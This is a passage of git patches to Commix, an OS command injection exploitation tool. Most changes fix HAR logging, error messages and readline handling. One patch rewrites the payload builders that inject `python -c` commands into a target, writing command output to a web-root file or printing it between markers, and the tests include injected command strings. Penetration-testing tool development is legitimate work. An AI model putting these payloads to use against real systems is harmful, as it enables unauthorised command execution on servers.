| 4 +- src/utils/har.py | 17 +++++-- src/utils/settings.py | 2 +- tests/test_har.py | 97 ++++++++++++++++++++++++++++++++++++ 4 files changed, 115 insertions(+), 5 deletions(-) create mode 100644 tests/test_har.py diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c862cd5c47..3896491f77 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -558,7 +558,9 @@ def https_open(self, req): checks.blocked_ip(page) # Whatever shell or interpreter the page is reporting an error from. checks.parse_errors(page) - har.collect(request, code, getattr(response, "reason", ""), response.info(), _raw_body, started, time.time()) + # The page as it was read back, the way the error path below records it - what a file like + # this is opened for is the answer, and the bytes it arrived compressed in are not it. + har.collect(request, code, getattr(response, "reason", ""), response.info(), page, started, time.time(), raw_body=_raw_body) stability.reset_connection_error_budget() return response diff --git a/src/utils/har.py b/src/utils/har.py index d9edf02f95..c4f68b1020 100644 --- a/src/utils/har.py +++ b/src/utils/har.py @@ -18,6 +18,7 @@ """ import json +import time import base64 import datetime import threading @@ -85,7 +86,7 @@ def _content(raw, mime): client fills in for itself are put back here - they are the ones a replay needs and the only ones that would otherwise be missing. """ -def collect(request, code, status, response_headers, body, started, ended): +def collect(request, code, status, response_headers, body, started, ended, raw_body=None): if not active(): return try: @@ -99,7 +100,9 @@ def collect(request, code, status, response_headers, body, started, ended): query = [{"name": name, "value": value} for name, value in _urllib.parse.parse_qsl(_urllib.parse.urlsplit(url).query, keep_blank_values=True)] entry = { - "startedDateTime": datetime.datetime.fromtimestamp(started).isoformat(), + # With the offset it was taken at: a bare local timestamp is read as whichever zone whatever + # opens the file happens to assume, which moves every entry in it by the difference. + "startedDateTime": datetime.datetime.fromtimestamp(started).isoformat() + time.strftime("%z"), "time": int(1000 * (ended - started)), "request": { "method": request.get_method(), @@ -120,11 +123,19 @@ def collect(request, code, status, response_headers, body, started, ended): "content": _content(body, response_headers.get("Content-Type") if response_headers else ""), "redirectURL": "", "headersSize": -1, - "bodySize": len(body or b""), + # What came off the wire, where the page above is what it was read back as - the two differ + # by whatever the response was compressed with, and the difference is what the file calls + # the saving. + "bodySize": len(raw_body if raw_body is not None else (body or b"")), }, "cache": {}, "timings": {"send": -1, "wait": -1, "receive": -1}, } + # Said rather than left to be worked out: a body read back longer than it arrived was + # compressed on the way, and the file has a field for how much that saved. + saved = entry["response"]["content"]["size"] - entry["response"]["bodySize"] + if saved > 0: + entry["response"]["content"]["compression"] = saved if data is not None: entry["request"]["postData"] = _content(data, request.get_header("Content-type", "")) except Exception: diff --git a/src/utils/settings.py b/src/utils/settings.py index c690231cce..8ba64cec9f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "334" +REVISION = "335" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 0000000000..309a888f03 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import gzip +import unittest + +from src.utils import har +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +PAGE = "\n\n\n" + ("

the page

\n" * 40) + "\n" + +class ABodyIsKeptTheWayItWasReadBack(unittest.TestCase): + """ + What a file like this is opened for is the answer the target gave. The bytes it arrived + compressed in are not that answer, and stored in its place they leave every entry of a gzipped + response reading as binary under a "text/html" of its own. + """ + def setUp(self): + self._state = (menu.options.har, menu.options.http10, list(har.ENTRIES)) + menu.options.har = "/dev/null" + menu.options.http10 = False + del har.ENTRIES[:] + + def tearDown(self): + (menu.options.har, menu.options.http10) = self._state[:2] + har.ENTRIES[:] = self._state[2] + + def _entry(self, body, raw_body): + request = _urllib.request.Request("http://t/a.php?addr=1", method="GET") + har.collect(request, 200, "OK", {"Content-Type": "text/html", "Content-Encoding": "gzip"}, + body, 1000.0, 1001.0, raw_body=raw_body) + return har.ENTRIES[-1] + + def test_the_page_is_stored_as_text_rather_than_as_what_arrived(self): + raw = gzip.compress(PAGE.encode()) + content = self._entry(PAGE, raw)["response"]["content"] + self.assertEqual(PAGE, content["text"]) + self.assertNotIn("encoding", content) + + def test_the_two_lengths_are_each_their_own(self): + raw = gzip.compress(PAGE.encode()) + response = self._entry(PAGE, raw)["response"] + self.assertEqual(len(PAGE), response["content"]["size"]) + self.assertEqual(len(raw), response["bodySize"]) + + def test_what_the_compression_saved_is_said(self): + raw = gzip.compress(PAGE.encode()) + response = self._entry(PAGE, raw)["response"] + self.assertEqual(len(PAGE) - len(raw), response["content"]["compression"]) + + def test_nothing_is_said_where_nothing_was_saved(self): + self.assertNotIn("compression", self._entry(PAGE, PAGE.encode())["response"]["content"]) + + def test_a_body_that_is_not_text_is_still_kept_whole(self): + binary = b"\x89PNG\r\n\x1a\n\xff\xfe\x00" + content = self._entry(binary, binary)["response"]["content"] + self.assertEqual("base64", content["encoding"]) + +class ATimeIsKeptWithTheOffsetItWasTakenAt(unittest.TestCase): + """ + A bare local timestamp is read as whichever zone whatever opens the file happens to assume, which + moves every entry in it by the difference. + """ + def setUp(self): + self._state = (menu.options.har, menu.options.http10, list(har.ENTRIES)) + menu.options.har = "/dev/null" + menu.options.http10 = False + del har.ENTRIES[:] + + def tearDown(self): + (menu.options.har, menu.options.http10) = self._state[:2] + har.ENTRIES[:] = self._state[2] + + def test_the_timestamp_names_a_zone(self): + request = _urllib.request.Request("http://t/a.php?addr=1", method="GET") + har.collect(request, 200, "OK", {"Content-Type": "text/html"}, "x", 1000.0, 1001.0) + started = har.ENTRIES[-1]["startedDateTime"] + self.assertTrue(started[10:].endswith("Z") or "+" in started[10:] or "-" in started[10:], started) + +if __name__ == '__main__': + unittest.main() + +# eof From c244cb74395c2eecee611fd5e96e82c3700beb11 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:26:49 +0200 Subject: [PATCH 1009/1023] Fixed what a run says when nothing was tested, which blamed the parameters for being absent even where they were set aside with `--skip`, `--param-exclude` or `--randomize` --- src/core/controller/checks.py | 14 ++++++++++++++ src/core/controller/controller.py | 2 +- src/utils/settings.py | 2 +- tests/test_checks.py | 28 ++++++++++++++++++++++++++++ 4 files changed, 44 insertions(+), 2 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 9978a866e6..9749100cb2 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3716,6 +3716,20 @@ def is_parameter_testable(name): return name not in settings.SKIP_PARAMETERS_LIST return True +""" +Why nothing was tested, which happens for two reasons that read nothing alike. + +One is a name given with '-p' that the request does not carry - what was asked for is not there. +The other is every parameter it does carry having been set aside, by '--skip', '--param-exclude', +'--randomize' or '--smart' - what was asked for is there, and was deliberately left alone. Told the +first while looking at the parameter in their own URL, the user is sent after something that is not +wrong; which option set it aside is already said, parameter by parameter, further up. +""" +def nothing_tested_message(): + if settings.TESTABLE_PARAMETERS_LIST and not settings.TESTABLE_PARAMETERS: + return "All testable parameters you provided are not present within the given request data." + return "No parameter was left to test: every one the request carries was set aside." + """ Identify and print non-listed/skipped parameters that were provided but not part of the request. """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 21befde310..a023a4e1d3 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1930,7 +1930,7 @@ def do_check(url, http_request_method, filename): # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION: if settings.NOT_TESTABLE_PARAMETERS: - err_msg = "All testable parameters you provided are not present within the given request data." + err_msg = checks.nothing_tested_message() else: err_msg = "All tested parameters do not appear to be injectable." if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL : diff --git a/src/utils/settings.py b/src/utils/settings.py index 8ba64cec9f..28e7559f3a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "335" +REVISION = "336" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_checks.py b/tests/test_checks.py index c80431b41b..e4e4aaa776 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1148,6 +1148,34 @@ def test_nothing_is_rewritten_where_no_script_is_applied(self): settings.MULTI_ENCODED_PAYLOAD = [] self.assertEqual("${AB}Q;echo TAG;", checks.payload_with_own_value("${AB}Q;echo TAG;")) +class NothingTestedIsSaidAsTheReasonItWas(unittest.TestCase): + """ + A name given with '-p' that the request does not carry is one thing; every parameter it does + carry having been set aside is another. Told the first while looking at the parameter in their + own URL, the user is sent after something that is not wrong. + """ + def setUp(self): + self._state = (list(settings.TESTABLE_PARAMETERS_LIST), settings.TESTABLE_PARAMETERS) + + def tearDown(self): + (settings.TESTABLE_PARAMETERS_LIST, settings.TESTABLE_PARAMETERS) = self._state + + def test_a_name_the_request_does_not_carry_is_said_to_be_missing(self): + settings.TESTABLE_PARAMETERS_LIST = ["nosuchparam"] + settings.TESTABLE_PARAMETERS = None + self.assertIn("not present", checks.nothing_tested_message()) + + def test_a_name_it_does_carry_is_not(self): + # Named with '-p' and found, then set aside by one of the options that do that. + settings.TESTABLE_PARAMETERS_LIST = ["addr"] + settings.TESTABLE_PARAMETERS = True + self.assertIn("set aside", checks.nothing_tested_message()) + + def test_with_no_name_given_at_all_nothing_is_said_about_one(self): + settings.TESTABLE_PARAMETERS_LIST = [] + settings.TESTABLE_PARAMETERS = None + self.assertIn("set aside", checks.nothing_tested_message()) + class AFileIsAskedForWholeWhereTheTechniqueCanAnswerWhole(unittest.TestCase): """ Asked for as base64, a file arrives as it is on disk - nothing the page does to whitespace can From 5096bf9f1a872db6b8aa12f7b42bbbb30f8db0ab Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:27:41 +0200 Subject: [PATCH 1010/1023] Fixed a missing GNU "readline" module stopping a run before it started --- src/core/controller/checks.py | 23 +++++++++++++++++------ src/core/main.py | 4 ---- src/utils/settings.py | 2 +- tests/test_checks.py | 33 +++++++++++++++++++++++++++++++++ 4 files changed, 51 insertions(+), 11 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 9749100cb2..5e98d24c3c 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -63,6 +63,9 @@ try: import pyreadline as readline except ImportError: + # Bound all the same: what reaches for it later then fails as a missing attribute, which the + # callers already catch, rather than as a name that was never defined at all. + readline = None settings.READLINE_ERROR = True """ @@ -1057,6 +1060,8 @@ def tab_autocompleter(): Load commands from history. """ def load_cmd_history(): + if settings.READLINE_ERROR: + return try: cli_history = settings.CLI_HISTORY # An empty file holds no history to load, and holds no header for the platform's own history @@ -1074,6 +1079,8 @@ def load_cmd_history(): Save command history. """ def save_cmd_history(): + if settings.READLINE_ERROR: + return cli_history = settings.CLI_HISTORY try: # Written whether or not the file is already there: writing it is what creates it - though the @@ -2442,14 +2449,18 @@ def no_user_enumeration_permission(): GNU 'readline' module installed. """ def no_readline_module(): - err_msg = "It seems your platform does " - err_msg += "not have GNU 'readline' module installed." - err_msg += " Download the" + warn_msg = "It seems your platform does " + warn_msg += "not have GNU 'readline' module installed." if settings.IS_WINDOWS: - err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." + warn_msg += " Download the 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." elif settings.PLATFORM == "mac": - err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + warn_msg += " Download the 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + else: + # Everywhere else it ships with Python itself, so a missing one is the interpreter's own + # packaging rather than something to go and fetch from an index. + warn_msg += " It normally comes with Python, so install the package your distribution keeps it in (e.g. 'python3-readline'), or the 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." + warn_msg += " Without it there is no tab completion and no command history." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check for incompatible OS (i.e. Unix). diff --git a/src/core/main.py b/src/core/main.py index a6b6446e0a..19279b8ea4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -887,10 +887,6 @@ def run(): checks.list_tamper_scripts() raise SystemExit() - if settings.READLINE_ERROR : - checks.no_readline_module() - raise SystemExit() - # Check if defined "--dependencies" option. if menu.options.dependencies: checks.list_dependencies() diff --git a/src/utils/settings.py b/src/utils/settings.py index 28e7559f3a..87d6c60e7b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "336" +REVISION = "337" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_checks.py b/tests/test_checks.py index e4e4aaa776..aa1a7e9970 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -14,6 +14,7 @@ """ import io +import re import threading import unittest @@ -1148,6 +1149,38 @@ def test_nothing_is_rewritten_where_no_script_is_applied(self): settings.MULTI_ENCODED_PAYLOAD = [] self.assertEqual("${AB}Q;echo TAG;", checks.payload_with_own_value("${AB}Q;echo TAG;")) +class EveryPlatformIsToldWhatToInstall(unittest.TestCase): + """ + The sentence names something on each of them. Built a piece at a time around two platforms, it + stopped after "Download the" on every other one - which is where it is most likely to be read, + since the module ships with Python there and a missing one is the interpreter's own packaging. + """ + def setUp(self): + self._state = (settings.IS_WINDOWS, settings.PLATFORM, settings.print_data_to_stdout) + self.said = [] + settings.print_data_to_stdout = self.said.append + + def tearDown(self): + (settings.IS_WINDOWS, settings.PLATFORM, settings.print_data_to_stdout) = self._state + + def _said_on(self, is_windows, platform): + del self.said[:] + settings.IS_WINDOWS, settings.PLATFORM = is_windows, platform + checks.no_readline_module() + return re.sub(r"\x1b\[[0-9;]*m", "", "".join(self.said)).strip() + + def test_each_one_is_named_something_to_install(self): + for is_windows, platform, named in ((True, "nt", "pyreadline"), (False, "mac", "gnureadline"), + (False, "posix", "readline")): + said = self._said_on(is_windows, platform) + self.assertIn(named, said, platform) + + def test_the_sentence_is_finished_on_each_one(self): + for is_windows, platform in ((True, "nt"), (False, "mac"), (False, "posix")): + said = self._said_on(is_windows, platform) + self.assertTrue(said.endswith("."), platform) + self.assertNotIn("Download the.", said) + class NothingTestedIsSaidAsTheReasonItWas(unittest.TestCase): """ A name given with '-p' that the request does not carry is one thing; every parameter it does From 78997bd1cd21f9681ab8662192d706f01d8f16a8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 18:05:49 +0200 Subject: [PATCH 1011/1023] Fixed several issues regarding the fidelity of the output a command is answered with, affecting the file-based technique, the payloads built with `--interpreter` and the reading of HTTP error codes --- src/core/controller/handler.py | 8 ++ src/core/controller/injector.py | 85 ++++++++++++-- src/core/requests/requests.py | 47 ++++---- src/core/techniques/file_based/fb_injector.py | 6 + src/core/techniques/file_based/fb_payloads.py | 11 +- .../techniques/results_based/rb_payloads.py | 12 +- src/utils/settings.py | 6 +- tests/test_output_file.py | 105 ++++++++++++++++++ tests/test_payloads.py | 39 +++++++ tests/test_requests.py | 53 +++++++++ 10 files changed, 334 insertions(+), 38 deletions(-) create mode 100644 tests/test_output_file.py diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 82dcd7a224..0b3222aef7 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -1624,6 +1624,10 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject html_data = "" else: html_data = checks.process_page_content(response, action="decode") + # The marker written here is what the file holds until a command overwrites it, so it + # is remembered as such - a command the target never runs leaves it in place, and the + # read that follows would otherwise hand it back as that command's own output. + injector.remember_output_file(response) shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) == 0 : raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) @@ -1742,6 +1746,9 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject time.sleep(timesec) verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + # The markers written just now are the last thing in the file before a command is, so this + # is what the file still holds if the first command never reaches the target. + injector.remember_output_file(verify_response) # Tags must appear in order - rules out a stale/cached file. verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None else: @@ -1756,6 +1763,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject time.sleep(timesec) verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + injector.remember_output_file(verify_response) verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) verified = bool(verify_shell) and verify_shell[0] == verify_tag else: diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 555a9b428f..16231e9737 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1594,6 +1594,72 @@ def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): settings.print_once(warn_msg) return None +""" +The output file's contents, read the way the command's own output is read - so that what the file +held before a command can be told from what it holds after one. + +Only the line breaks it ends with come off. A substitution drops those and nothing else, which is +what the techniques reading their answer off the page hand back, so this hands back the same. +Stripped at both ends instead, a command whose output was indented, or padded, or was whitespace +altogether came back without the part of it that said so: an output of a tab, three spaces, 'X' and +seven more tabs arrived as 'X'. +""" +def output_file_content(response): + content = checks.process_page_content(response, action="encode") + content = content.rstrip(settings.END_LINE.CR + settings.END_LINE.LF) + # The bytes the file's own encoding could not read, back as the bytes the target wrote. + content = checks.decoded_byte_output(checks.restored_unreadable_bytes(content)) + if settings.TARGET_OS == settings.OS.WINDOWS: + content = content.replace(settings.END_LINE.CR, "") + return content + +""" +What the target says about the output file itself, which is how a read can tell that the write +landed. + +An entity tag changes whenever the file does - its size and the moment it was last written are what +it is made of - and a last-modified date says the same thing a second at a time. Both are the +target's own account of the file, so neither depends on this machine's clock agreeing with the +target's. +""" +def output_file_validator(response): + try: + served = response.info() + except Exception: + return None + validator = served.get("ETag") or served.get("Last-Modified") + if not validator: + return None + validator = validator.strip() + # A weak tag is the same tag, marked as one the target will not compare byte for byte itself. + return validator[2:] if validator.startswith("W/") else validator + +""" +Whether what came back is this command's output rather than what the file held before it. + +A command the target never ran - a request it refused, a payload its shell would not parse - leaves +the file exactly as it was, and reading it then answers with whatever wrote it last: the marker the +detection phase put there, or the output of the command before this one. Handed back as this +command's own, that is a wrong answer rather than a missing one, which is the worse of the two. + +Both the contents and the file's own validator have to be what they were for the write to be called +missing. A command run twice writes the file again, so the validator moves even where the output it +wrote is identical - and where the target serves no validator at all, nothing is withheld. +""" +def output_file_is_stale(content, validator, previous_content, previous_validator): + return (validator is not None and previous_validator is not None and + validator == previous_validator and content == previous_content) + +""" +What the output file holds before any command has been run through it, remembered so that a command +the target never runs cannot have it answered back as its own output. +""" +def remember_output_file(response): + if response is None or type(response) is bool: + return + settings.LAST_OUTPUT_FILE_CONTENT = output_file_content(response) + settings.LAST_OUTPUT_FILE_VALIDATOR = output_file_validator(response) + """ Evaluate test results. """ @@ -1787,21 +1853,24 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times else: #Find the directory. shell = "" + validator = None + previous_content = settings.LAST_OUTPUT_FILE_CONTENT + previous_validator = settings.LAST_OUTPUT_FILE_VALIDATOR for attempt in range(settings.MAX_OUTPUT_FILE_READS): response = fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) if response is not None: - shell = checks.process_page_content(response, action="encode").rstrip().lstrip() - # The bytes the file's own encoding could not read, back as the bytes the target wrote. - shell = checks.decoded_byte_output(checks.restored_unreadable_bytes(shell)) - if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] - shell = [empty for empty in shell if empty] + shell = output_file_content(response) + validator = output_file_validator(response) # What the file held before this command is what it still holds if the write has not landed. - if shell and shell != settings.LAST_OUTPUT_FILE_CONTENT: + if shell and not output_file_is_stale(shell, validator, previous_content, previous_validator): break if attempt + 1 < settings.MAX_OUTPUT_FILE_READS: time.sleep(settings.OUTPUT_FILE_READ_DELAY) - settings.LAST_OUTPUT_FILE_CONTENT = shell + if shell and output_file_is_stale(shell, validator, previous_content, previous_validator): + shell = "" + else: + settings.LAST_OUTPUT_FILE_CONTENT = shell + settings.LAST_OUTPUT_FILE_VALIDATOR = validator return shell # eof diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 31b5892933..07b129883f 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -677,6 +677,33 @@ def request_failed(err_msg): if menu.options.auth_type and menu.options.auth_cred: raise SystemExit(settings.EXIT_FAILURE) + # What a status says about the target is true of whichever request it answered, so it is read + # here rather than inside the branch below - which is the first request's own diagnostics, and + # had these two inside it. Behind that gate a '414' went unexplained, a chunked body the target + # would not take was never sent again without it, and every other error code passed in silence, + # on every request but the one the run opens with. + elif checks.detect_waf(err_msg): + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + return False + return True + + elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + code = status_code[0] + if not checks.ignored_http_error_code(code): + # What the code says about the target, before it is written off as interference. + handled = _answered_with_status(code, err_msg) + if handled is not None: + return handled + if not checks.ignored_http_error_code(code) and int(code) not in settings.WARNED_HTTP_ERROR_CODES: + warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(code, err_msg) + warn_msg += "' which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + return False + return True + elif settings.TOTAL_OF_REQUESTS == 1: if "IncompleteRead" in str(error_msg): error_msg = "There was an incomplete read error while retrieving data " @@ -689,26 +716,6 @@ def request_failed(err_msg): error_msg += "status code received." elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): error_msg = "Connection was forcibly closed by the target URL." - elif checks.detect_waf(err_msg): - if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): - return False - return True - elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: - status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] - code = status_code[0] - if not checks.ignored_http_error_code(code): - # What the code says about the target, before it is written off as interference. - handled = _answered_with_status(code, err_msg) - if handled is not None: - return handled - if not checks.ignored_http_error_code(code) and int(code) not in settings.WARNED_HTTP_ERROR_CODES: - warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(code, err_msg) - warn_msg += "' which could interfere with the results of the tests." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.WARNED_HTTP_ERROR_CODES.add(int(code)) - if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): - return False - return True elif stability.should_retry_connection_error(error_msg): return True else: diff --git a/src/core/techniques/file_based/fb_injector.py b/src/core/techniques/file_based/fb_injector.py index 8fd3883ec5..6dbad17178 100755 --- a/src/core/techniques/file_based/fb_injector.py +++ b/src/core/techniques/file_based/fb_injector.py @@ -37,6 +37,12 @@ def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): return injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) +""" +What the output file holds before any command has been run through it. +""" +def remember_output_file(response): + return injector.remember_output_file(response) + """ """ def select_output_filename(technique, tmp_path, TAG, prompt=True): diff --git a/src/core/techniques/file_based/fb_payloads.py b/src/core/techniques/file_based/fb_payloads.py index a97b149099..cc6a3e010c 100755 --- a/src/core/techniques/file_based/fb_payloads.py +++ b/src/core/techniques/file_based/fb_payloads.py @@ -145,12 +145,13 @@ def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): else: settings.USER_APPLIED_CMD = cmd cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX - # Written as the one substitution the output arrives on, the way this technique's own command is: - # a second around it nests, which backticks cannot do, and the interpreter prints nothing for an - # outer one to carry back anyway. + # Handed to the interpreter as an argument rather than written into the program it is given to + # run. Written in, the output sat inside a quoted string there, so a quote of its own closed + # that string early and the interpreter wrote nothing to the file at all - the same shape the + # tempfile-based technique already uses to write this file, bytes and all. payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + - cmd_exec + "')\nf.close()\n\"" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import os,sys\nopen('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + + "','wb').write(os.fsencode(sys.argv[1]))\n\" \"" + cmd_exec + "\"" ) payload = checks.terminate_payload(payload, separator) diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py index 1f941a7400..9268c33df6 100755 --- a/src/core/techniques/results_based/rb_payloads.py +++ b/src/core/techniques/results_based/rb_payloads.py @@ -199,12 +199,16 @@ def cmd_execution_alter_interpreter(separator, TAG, cmd): else: settings.USER_APPLIED_CMD = cmd cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX - # The output goes in as it stands: a second substitution around it nests, which backticks cannot - # do, and the 'echo' that was between them reads the backslashes of any shell whose builtin does. + # Handed to the interpreter as an argument rather than written into the program it is given to + # run. Written in, the output sat inside a quoted string there, so a quote of its own closed + # that string early and the interpreter answered with a syntax error rather than with the + # command's output - silently, the run reporting nothing at all for a command that worked. The + # way the tempfile-based technique already passes it, and no second substitution to nest. payload = (separator + settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'+'" + TAG + "'+'" + cmd_exec + "'+'" + - TAG + "'+'" + TAG + "')\"" + " -c \"import sys" + settings.END_LINE.CR + + "print('" + TAG + "'+'" + TAG + "'+sys.argv[1]+'" + + TAG + "'+'" + TAG + "')\" \"" + cmd_exec + "\"" ) payload = checks.terminate_payload(payload, separator, keep_output=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 87d6c60e7b..77e5d2cf20 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "337" +REVISION = "338" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -1947,6 +1947,10 @@ def strip_ansi_codes(text): MAX_OUTPUT_FILE_READS = 3 OUTPUT_FILE_READ_DELAY = 1 LAST_OUTPUT_FILE_CONTENT = None +# And what the target said about the file itself when that content was read - an entity tag or +# a last-modified date, which is how a read tells the command's own output from what the file +# held before it. +LAST_OUTPUT_FILE_VALIDATOR = None # How many times an unusable URL is asked for again before the run gives up on being answered. MAX_INVALID_URL_ANSWERS = 3 # Findings confirmed this run, for the end-of-run summary. diff --git a/tests/test_output_file.py b/tests/test_output_file.py new file mode 100644 index 0000000000..f7eabf10d6 --- /dev/null +++ b/tests/test_output_file.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import injector + +""" +A response standing in for the output file as the target serves it. +""" +class served(object): + def __init__(self, body, headers=None): + self._body = body.encode(settings.DEFAULT_CODEC) + self._headers = headers or {} + + def read(self, *args, **kwargs): + return self._body + + def info(self): + return self._headers + + def getcode(self): + return 200 + +class TheOutputFileIsReadAsTheCommandWroteIt(unittest.TestCase): + """ + The file holds what the command printed. Stripped at both ends, an output that was indented, or + padded, or was whitespace altogether came back without the part of it that said so. + """ + def setUp(self): + self._os = settings.TARGET_OS + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = self._os + + def test_the_whitespace_the_output_begins_and_ends_with_is_kept(self): + self.assertEqual("\t \t\t\tX\t\t\t\t\t\t\t", + injector.output_file_content(served("\t \t\t\tX\t\t\t\t\t\t\t"))) + + def test_an_output_that_is_only_whitespace_is_not_read_as_an_empty_one(self): + 